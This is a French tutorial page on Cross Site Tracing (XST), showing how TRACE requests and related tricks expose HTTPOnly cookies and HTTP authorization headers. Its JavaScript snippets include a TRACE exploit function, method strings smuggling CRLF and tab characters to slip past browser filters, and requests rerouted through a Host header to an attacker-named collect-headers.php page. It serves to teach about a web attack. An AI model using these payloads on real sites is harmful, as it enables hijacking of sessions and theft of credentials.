Cross Site Tracing


<< HTTP Splitting Conseils de développement >>


HTTPOnly et la méthode TRACE
   Le Cross Site Tracing, ou XST, est une parade découverte en 2003 par Jeremiah Grossman aux cookies HTTPOnly. On le présente souvent comme une amélioration de XSS, ce qui n'est pas tout à fait vrai car XST peut prendre avantage de n'importe quelle faille permettant d'injecter des données sur le serveur ou sur la page rendue au client (HTTP Splitting, Upload, SQL Injection, etc.). Les XSS constituent finalement le vecteur d'attaque le plus répandu.
Dans Internet Explorer 6 SP2, Microsoft a inclut une nouvelle protection contre les XSS : les cookies HTTPOnly. Cette protection fait que tout cookie HTTPOnly ne pourra être communiqué autrement que par le jeu de requêts/réponses HTTP. Autrement dit, les valeurs de ces cookies ne peuvent être utilisées par scripting côté client. Ainsi, un XSS utilisant document.cookie pour voler ceux-ci sera inefficace. L'idée, bien que peut démocratisée, est assez bonne. Afin de vérifier ceci vous pouvez tout simplement exécuter une page du type suivant :
    <? setCookie("nom","valeur",0,"/","poc.bases-hacking.org",false,isset($_GET["httponly"])); ?>
    <html>
    <head><script>alert(document.cookie);</script></head>
    </html>
On observe bien la différence lorsque l'on affiche la page normale ou la page avec ?httponly=true. En effet, dans le deuxième cas l'alert ligne 3 n'affiche rien. Puisque ces cookies ne peuvent être transmis que par HTTP, l'idée de J. Grossman a été simple : utiliser HTTP ! En effet, avec les techniques de scripting avancées qui existent de nos jours comme Ajax, il est possible d'effectuer des requêtes HTTP du côté du client. Le tout était donc de trouver une requête HTTP qui puisse renvoyer dans les headers ou le corps le contenu du cookie. Et cette requête magique existe en la méthode TRACE :
    TRACE / HTTP/1.1 Host: www.bases-hacking.org
    User-Agent: blogodo
    Nimportequoi: nimportequoi
    Cookie: secret

    HTTP/1.1 200 OK
    Date: Fri, 19 Feb 2010 06:53:37 GMT
    Server: Apache
    Transfer-Encoding: chunked
    Content-Type: message/http

    72
    TRACE / HTTP/1.1
    Host: www.bases-hacking.org
    User-Agent: blogodo
    Nimportequoi: nimportequoi
    Cookie: secret


    0
Oui vous remarquerez que notre cher hébergeur n'a pas pris le soin de désactiver cette méthode, ce qui peut se retrouver relativement dommageable. Quoiqu'il en soit, TRACE, une méthode de debugging HTTP, permet comme vous le voyez de rendre en echo les headers de la requête. Cela devrait nous permettre de retrouver les cookies non ?

Exploitation originale
   L'exploitation originale est dès lors simple : lorsqu'il est possible d'injecter du code côté client, il suffit d'inclure un script qui effectue une requête HTTP TRACE et d'en récupérer le contenu. Ainsi, un script d'exploit direct était le suivant :
    function trace()
    {
      var http_request = false;
      if (window.XMLHttpRequest)
        http_request = new XMLHttpRequest(); //Tout sauf IE
      else if (window.ActiveXObject)
        try {
          http_request = new ActiveXObject("Msxml2.XMLHTTP"); //IE > 6
        } catch (e) {
          try {
            http_request = new ActiveXObject("Microsoft.XMLHTTP"); //IE <= 6
          } catch (e) {}
        }

      if (http_request) {
        http_request.open("TRACE","/",false);
        http_request.send();
        alert(http_request.responseText);
      }
    }
Ainsi, en appellant cette fonction TRACE, on avait en echo tous les headers passés par le navigateur, parmi lesquels les cookies (HTTPOnly ou non) et même les Authorization HTTP (authentification HTTP, notamment utilisée par les htaccess). Ceci dit, depuis 2003, l'horizon d'exploitation a bien changé. Si dans ses dernière versions IIS a silencieusement supprimé la méthode TRACE, elle reste active par défaut dans beaucoup d'autres serveurs (Apache, Tomcat, Glassfish, etc.). Non, les vrais changements sont intervenus côté clients, c'est-à-dire au seing des navigateurs Web. La plupart ont dores-et-déjà désactivés la méthode TRACE : par exemple, Firefox (depuis sa version 2.2) renvoie tout simplement une exception lors du open dans le code ci-dessus et Konqueror remplace systématiquement les TRACE par GET. Cette méthode ou des dérivés marchent toujours sur d'autres navigateurs (Opera, Safari par exemple), mais les nouvelles mesures ont grandement diminué la surface d'exposition au XSS. Ceci dit, sur certaines versions, il est possible de contourner ce mécanisme même lorsqu'il est activé.

Mauvaises implémentations et spécificités HTTP
   Bien que cette protection soit en théorie réellement efficace, encore faut-il bien l'implémenter. Ainsi, certains navigateurs, notamment IE 6 SP2, effectuent un mauvais parsing de la méthode HTTP. On imagine bien if headers[0] == "TRACE" then throw whatever. Hors, la RFC stipule que les serveurs doivent ignorer une ligne vide précédent une requête HTTP. Ainsi, un simple
    http_request.open("\r\nTRACE","/",false);
permettait d'effectuer tout de même une requête TRACE. Dans le même esprit, et ceci marchait également sous Firefox 2.x, il était possible d'imbriquer des requêtes de la même manière que lors d'un HTTP Splitting :
    http_request.open("GET\t/\tHTTP/1.0\r\nConnection:\tKeep-Alive\r\n\r\nTRACE\t/\tHTTP/1.0\r\nJunk-Header:", "/",false);
La seule restriction étant de ne pas utiliser d'espaces (car seul le premier mot du paramètre était traité). Bien que la tabulation (\t) ne soit pas RFC, tous les serveurs populaires la traitent comme un espace (voire la remplace par un espace). On remarque qu'un dernier header devait être ajouté pour faire permettre d'ignorer le "/ HTTP/1.1" qui doit arriver derrière.
D'une manière similaire d'autres alternatives ont vu le jour, ne se servant pas de la méthode TRACE. Par exemple, si un site utilise un hébergeur mutualisé (ce qui représente tout de même la grande majorité des sites présents sur l'Internet), un attaquant est libre de créer également son site chez le même hébergeur, sur le même serveur. Dans cette configuration, les sites se distinguent en général par leur nom d'hôte car ils ont rarement une IP spécialement attribuée. Il est donc possible d'ajouter un header HTTP Host redirigeant la requête vers le site de l'attaquant, qui sera à même de voir les headers réellement envoyés :
    http_request.open("GET","http://example.com/collect-headers.php",false);
    http_request.setRequestHeader("Host","attack.bases-hacking.org");
En réalité, la requête envoyée ne sera pas de la forme http://, mais seulement un GET /collect-headers.php avec comme hôte le site de l'attaquant qui aura donc récupéré les cookies et autres données sensibles des headers. Dans la même veine (et du même auteur), il est possible de prendre parti des serveurs permettant le proxying (utilisation de mod_proxy sous Apache par exemple), c'est-à-dire autorisant les requêtes de la forme GET http://example.com/, même si celui-ci n'héberge pas example.com, auquel cas il redirigera la requête vers le vrai site et renverra la réponse reçue :
    http_request.open("GET\thttp://attack.bases-hacking.org/collect-headers.php","http://example.com/",false);
Ceci revient finalement à l'exemple précédent, où les requêtes, censées atteindre example.com arrivent vers attack.bases-hacking.org. A part l'attaque dite de co-hosting, ces exemples ne marchent plus sur les dernières versions de IIS et de Firefox puisqu'ils ont revu leur parsing des paramètres (ils ont notamment interdit ou encodé les caractères spéciaux comme \t ou \r\n). On peut penser immédiatement à utiliser les headers de la requête pour effectuer une HTTP Request Splitting, mais ceux-ci sont également nettoyés (CRLF supprimés ou exception lancée selon les headers).

Inverser le problème
   S'il devient difficile d'obtenir par la voie classique, c'est-à-dire côté client, ces données sensibles, il est parfois possible de retourner le problème et d'essayer de les obtenir depuis le serveur. Après tout, c'est en premier lieu celui-ci qui envoie les cookies à l'aide des headers Set-CookieX (X étant un chiffre et optionnel). L'idée est donc d'effectuer une requête GET normale et de récupérer les headers de la réponse. De cette manière, si la réponse inclut un Set-Cookie, le tour sera joué. Bien entendu, ceci ne permet plus de récupérer les authentifications HTTP.
    http_request.open("GET","/",false);
    http_request.send();
    alert(http_request.getAllResponseHeaders());
Cette technique marche particulièrement bien sur les sites régénérant les Session IDs à chaque visite (afin de diminuer les chances d'effectuer une attaque XSS avec succès). C'est par exemple le cas de BrowserWar, exemple de l'article sur les injections SQL avancées. Sur certains navigateurs, les cookies HTTPOnly ne sont pas protégés en écriture. Ainsi, il est (parfois mais rarement) possible de supprimer le paramètre HTTPOnly, mais surtout, il est possible de modifier la valeur. Si le cookie n'est pas valide, le serveur va en effet en renvoyer un (égal au précédent selon les implémentations côté serveur). Pour contrer ces mécanismes, Firefox a purement et simplement supprimé toutes les réponses Set-Cookie des headers retournés, HTTPOnly ou non. Internet Explorer efface seulement les Set-Cookie correspondant à des HTTPOnly. Ceci dit, nous l'avons dit, il peut y avoir plusieurs headers spécifiant les cookies (Set-Cookie2 par exemple). De cette manière, il est notamment possible de spécifier un ensemble de cookies non-HTTPOnly, et un autre ensemble qui l'est. Bien que Firefox depuis la version 3.1 supprime avec succès ce genre de headers, ce n'est pas le cas d'Internet Explorer, même dans ses versions 7 et 8.

D'une manière générale, seuls Internet Explorer et Firefox dans leurs dernières versions permettent une réelle protection contre le XST et ses variantes (au Set-CookieX près pour IE). Pour plus d'informations spécifiques à l'exploitation sur un navigateur spécifique, vous pouvez vous reporter à la page de l'OWASP sur les HTTPOnly, qui tient notamment une liste à jour des expositions des principaux navigateurs aux HTTPOnly. Ceci dit, encore peu d'applicatifs et de framework utilisent par défaut ce type de cookies et les vecteurs communs de récupération de sont encore très effectifs.

<< HTTP Splitting Conseils de développement >>



5 Commentaires
Afficher tous


AlgeriaCrew 31/07/13 07:50
Merci, grâce à ce tutoriel j'ai pu les lancer dans le webhacking et aujourd'hui plus de 400membres, merci

lilicadillac 19/07/13 21:02
merci infiniment, pour cette excellente démonstration.

Anonyme 28/09/12 00:36
Assez technique ce post. Merci !

Anonyme 11/08/12 13:09
Merci




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.